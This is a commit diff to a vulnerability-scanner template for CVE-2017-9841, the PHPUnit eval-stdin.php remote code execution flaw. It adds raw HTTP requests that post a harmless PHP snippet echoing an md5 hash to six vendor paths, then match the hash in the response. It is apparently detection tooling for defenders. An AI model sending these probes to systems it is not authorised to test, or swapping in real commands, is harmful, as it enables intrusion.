Update CVE-2017-9841.yaml

cves/2017/CVE-2017-9841.yaml

@@ -2,34 +2,102 @@ id: CVE-2017-9841
 
 info:
   name: CVE-2017-9841
-  author: Random_Robbie
+  author: Random_Robbie,pikpikcu
   severity: high
   description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
   tags: cve,cve2017,php,phpunit,rce
   reference: |
     - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
     - https://github.com/RandomRobbieBF/phpunit-brute
+    - https://thephp.cc/articles/phpunit-a-security-risk
+    - https://twitter.com/sec715/status/1411517028012158976
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+
+  - raw:
+      - |
+        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+        
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+        
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+        
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+        
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+        
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+        
+        <?php echo md5(phpunit_rce);?>
+
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "this version of phpunit requires php 5"
+          - "6dd70f16549456495373a337e6708865"
         part: body
 
       - type: status